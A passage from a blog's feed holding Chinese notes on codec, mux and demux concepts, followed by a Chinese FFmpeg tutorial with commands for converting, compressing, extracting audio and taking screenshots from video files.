&lt;p&gt;&lt;strong&gt;编解码器 ( Codec ) :&lt;&#x2F;strong&gt;  数据帧 ( 原始数据 ) 与 数据包 ( 压缩数据 ) 之间的转换工具 ;&lt;&#x2F;p&gt;
&lt;p&gt;数据帧 ( 原始数据 ) -&amp;gt; 编解码器 ( 编码 ) -&amp;gt; 数据包 ( 压缩数据 )&lt;&#x2F;p&gt;
&lt;p&gt;数据包 ( 压缩数据 ) -&amp;gt; 编解码器 ( 解码 ) -&amp;gt; 数据帧 ( 原始数据 )&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-fu-yong&quot;&gt;6、复用&lt;&#x2F;h3&gt;
&lt;p&gt;复用 ( Mux ) : 将不同的 媒体流流 , 按照一定规则放入容器 ;&lt;&#x2F;p&gt;
&lt;p&gt;音频流 , 视频流 , 字幕流 ,&lt;&#x2F;p&gt;
&lt;p&gt;按照一定规则&lt;&#x2F;p&gt;
&lt;p&gt;封装到 容器 ( 视频文件 ) 中 ;&lt;&#x2F;p&gt;
&lt;p&gt;复用的关键工具时 复用器 ( Muxer ) ;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-jie-fu-yong&quot;&gt;7、解复用&lt;&#x2F;h3&gt;
&lt;p&gt;解复用 ( Demux ) : 从容器中解析不同的流出来 ;&lt;&#x2F;p&gt;
&lt;p&gt;从 容器 ( 视频文件 ) 中 ,&lt;&#x2F;p&gt;
&lt;p&gt;按照一定规则&lt;&#x2F;p&gt;
&lt;p&gt;拆分出 音频流 , 视频流 , 字幕流 ,&lt;&#x2F;p&gt;
&lt;p&gt;解复用的关键工具时 解复用器 ( Demuxer ) ;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>FFmpeg 视频处理等相关</title>
        <published>2024-07-01T00:00:00+00:00</published>
        <updated>2024-07-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ffmpeg-视频处理等相关/"/>
        <id>https://vercel.juzhong.asia/obsidian/ffmpeg-视频处理等相关/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ffmpeg-视频处理等相关/">&lt;h1 id=&quot;ffmpeg-shi-pin-chu-li-deng-xiang-guan&quot;&gt;FFmpeg 视频处理等相关&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ffmpeg.org&#x2F;&quot;&gt;FFmpeg&lt;&#x2F;a&gt; 是一个非常受欢迎的、完备的、跨平台的、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;FFmpeg&#x2F;FFmpeg&quot;&gt;开源的&lt;&#x2F;a&gt;用于处理多媒体内容（如音频、视频、字幕及其他相关元数据）的库和工具集。本篇介绍 FFmpeg 的相关概念和基本使用方法。所有命令以 Ubuntu 为例进行介绍，Windows 和 Mac 同样适用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ffmpeg-an-zhuang&quot;&gt;FFmpeg 安装&lt;&#x2F;h2&gt;
&lt;p&gt;想要使用 FFmpeg (Linux中对应的程序为 &lt;code&gt;ffmpeg&lt;&#x2F;code&gt;)，必须首先安装它。Ubuntu（Centos 安装 FFmpeg的方法参考我的另一篇：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xujinzh.github.io&#x2F;2020&#x2F;03&#x2F;10&#x2F;centos-ffmpeg&#x2F;?highlight=ffmpeg&quot;&gt;Centos安装ffmpeg&lt;&#x2F;a&gt;。Ubuntu 切换镜像源的方法参考我的另一篇：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xujinzh.github.io&#x2F;2022&#x2F;02&#x2F;19&#x2F;ubuntu-change-source-list&#x2F;&quot;&gt;ubuntu 更改镜像源&lt;&#x2F;a&gt;） 安装 FFmpeg 非常方便，命令如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;sudo apt update&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo apt install ffmpeg&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;rong-qi&quot;&gt;容器&lt;&#x2F;h2&gt;
&lt;p&gt;在介绍 FFmpeg 处理视频之前，我们需要对视频有个了解。从计算上来说，视频文件是一个容器 (container)，在该容器中包含了视频（图片序列，无声音）、音频、字幕等内容。&lt;&#x2F;p&gt;
&lt;p&gt;常见的视频容器有如下几种，常常以文件后缀名来反映其容器格式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MP4：常用&lt;&#x2F;li&gt;
&lt;li&gt;MKV：更清晰&lt;&#x2F;li&gt;
&lt;li&gt;WebM：体积更小&lt;&#x2F;li&gt;
&lt;li&gt;AVI：较久远&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;FFmpeg 支持很多种容器，使用如下命令可查看它支持的格式有哪些：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -formats&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;特别说明：在 HTML5 中的 video 标签中支持三种视频格式：MP4，Webm，Ogg。如果网页出现没有视频画面的情况，可能是编码格式不正确。那三种视频格式分别支持的编码格式有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MP4 = MPEG4 文件使用 H.264 视频编解码器和 AAC 音频编解码器；&lt;&#x2F;li&gt;
&lt;li&gt;WebM = WebM 文件使用 VP8 视频编解码器和 Vorbis 音频编解码器；&lt;&#x2F;li&gt;
&lt;li&gt;Ogg = Ogg 文件使用 Theora 视频编解码器和 Vorbis 音频编解码器。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;bian-ma-ge-shi&quot;&gt;编码格式&lt;&#x2F;h2&gt;
&lt;p&gt;无论是视频还是音频都需要进行编码。不同的编码有不同的压缩率。编码可以将视频文件变得更小，但一定程度上会丢失信息，导致清晰度降低。&lt;&#x2F;p&gt;
&lt;p&gt;常用的视频编码格式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;H.265：mp4 中常用&lt;&#x2F;li&gt;
&lt;li&gt;H.264：mp4 中常用，更普遍&lt;&#x2F;li&gt;
&lt;li&gt;H.262&lt;&#x2F;li&gt;
&lt;li&gt;VP9：webm 中常用&lt;&#x2F;li&gt;
&lt;li&gt;VP8：webm 中常用&lt;&#x2F;li&gt;
&lt;li&gt;AV1&lt;&#x2F;li&gt;
&lt;li&gt;Theora： Ogg 中常用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;常用的音频编码格式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MP3&lt;&#x2F;li&gt;
&lt;li&gt;AAC：mp4 中常用&lt;&#x2F;li&gt;
&lt;li&gt;Vorbis: WebM、Ogg 中常用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用如下命令，可以查看 FFmpeg 支持的编码格式（包括视频和音频）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -codecs&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;bian-jie-ma-qi&quot;&gt;编解码器&lt;&#x2F;h2&gt;
&lt;p&gt;有了编码方法，需要一些程序或软件来实现文件（视频或音频）的编解码，这就是编解码器。&lt;&#x2F;p&gt;
&lt;p&gt;FFmpeg 中内置的视频编编解码器：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;libx264：最流行的开源的 &lt;strong&gt;H.264&lt;&#x2F;strong&gt; 编解码器&lt;&#x2F;li&gt;
&lt;li&gt;NVENC：基于 NVIDIA GPU 的 H.264 编解码器&lt;&#x2F;li&gt;
&lt;li&gt;libx265：开源的 HEVC (&lt;strong&gt;H.265&lt;&#x2F;strong&gt;、&lt;strong&gt;MPEG-H Part 2&lt;&#x2F;strong&gt;) 编解码器&lt;&#x2F;li&gt;
&lt;li&gt;libvpx：谷歌的 VP8 和 VP9 编解码器&lt;&#x2F;li&gt;
&lt;li&gt;libaom：AV1 编解码器&lt;&#x2F;li&gt;
&lt;li&gt;libtheora: Theora 编解码器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;FFmpeg 中内置的音频编解码器有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;aac：AAC 编解码器&lt;&#x2F;li&gt;
&lt;li&gt;vorbis：Vorbis 编解码器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ffmpeg-ming-ling-de-shi-yong&quot;&gt;ffmpeg 命令的使用&lt;&#x2F;h2&gt;
&lt;p&gt;ffmpeg 命令的格式如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg [全局参数] [输入文件参数] -i 输入文件 [输出文件参数] [输出文件]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;常用的参数有&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-c&lt;&#x2F;code&gt;：指定编码器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-c copy&lt;&#x2F;code&gt;：直接复制，不经过重新编码（这样比较快）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-c:v&lt;&#x2F;code&gt;：指定视频编码器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-c:a&lt;&#x2F;code&gt;：指定音频编码器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-i&lt;&#x2F;code&gt;：指定输入文件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-an&lt;&#x2F;code&gt;：去除音频流&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-vn&lt;&#x2F;code&gt;： 去除视频流&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-preset&lt;&#x2F;code&gt;：指定输出的视频质量，会影响文件的生成速度，有以下几个可用的值 ultrafast, superfast, veryfast, faster, fast, medium, slow, slower, veryslow。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-y&lt;&#x2F;code&gt;：不经过确认，输出时直接覆盖同名文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cha-kan-shi-pin-yuan-xin-xi&quot;&gt;查看视频元信息&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffprobe input.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -hide_banner&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;geng-gai-rong-qi-ge-shi-kuo-zhan-ming-gai-bian&quot;&gt;更改容器格式（扩展名改变）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.avi output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.webm output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mkv output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.webm -qscale 0 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;geng-gai-fen-bian-lu&quot;&gt;更改分辨率&lt;&#x2F;h2&gt;
&lt;p&gt;改变视频分辨率（transsizing）&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4 -filter:v scale=1280:720 -c:a copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -s 1280x720 -c:a copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf scale=480:-1 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;ya-suo-shi-pin-wen-jian&quot;&gt;压缩视频文件&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -vf scale=1280:-1 -c:v libx264 -preset veryslow -crf 24 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;ya-suo-yin-pin-wen-jian&quot;&gt;压缩音频文件&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp3 -ab 128 output.mp3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;geng-gai-bian-ma-ge-shi-kuo-zhan-ming-ke-bu-bian&quot;&gt;更改编码格式（扩展名可不变）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4 -c:v libx264 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -acodec copy -vcodec libx264 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;ti-qu-yin-pin&quot;&gt;提取音频&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vn -c:a copy output.aac&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vn -c:a copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffmpeg -i input.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 output.mp3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;ti-qu-shi-pin-mei-you-sheng-yin-yi-chu-yin-pin&quot;&gt;提取视频（没有声音）移除音频&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -an -c:v copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;zhuan-huan-yin-pin-ge-shi&quot;&gt;转换音频格式&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -acodec aac -vcodec copy output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;tian-jia-yin-pin-zeng-jia-yin-gui&quot;&gt;添加音频（增加音轨）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.aac -i input.mp4 output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;duo-yin-gui-zhi-bao-liu-yi-ge&quot;&gt;多音轨只保留一个&lt;&#x2F;h2&gt;
&lt;p&gt;有时候，有些电源有国语、粤语、英语等，但默认是英语，使得播放不方便（直接百度云或阿里云播放时，默认英文）。但想要直接用国语为默认播放语音，则可以如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i 魔法满屋-英语国语粤语.mp4 -map 0:0 -map 0:2 -c copy -disposition0 default -y 魔法满屋-国语.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;diao-zheng-ma-lu&quot;&gt;调整码率&lt;&#x2F;h2&gt;
&lt;p&gt;调整码率（transrating）指的是，改变编码的比特率，一般用来将视频文件的体积变小。下面的例子指定码率最小为964K，最大为3856K，缓冲区大小为 2000K。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -minrate 964K -maxrate 3856K -bufsize 2000K output.mp4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;jie-tu&quot;&gt;截图&lt;&#x2F;h2&gt;
&lt;p&gt;从指定时间开始00:01:24，连续对1秒钟00:00:01的视频进行截图。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -ss 00:01:24 -t 00:00:01 output_%3d.jpg&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果只需要截一张图，可以指定只截取一帧。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -ss 01:23:45 -i input -vframes 1 -q:v 2 output.jpg&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;每秒提取一张图片&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i input.mp4 -r 1 -f image2 image-%2d.png&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: 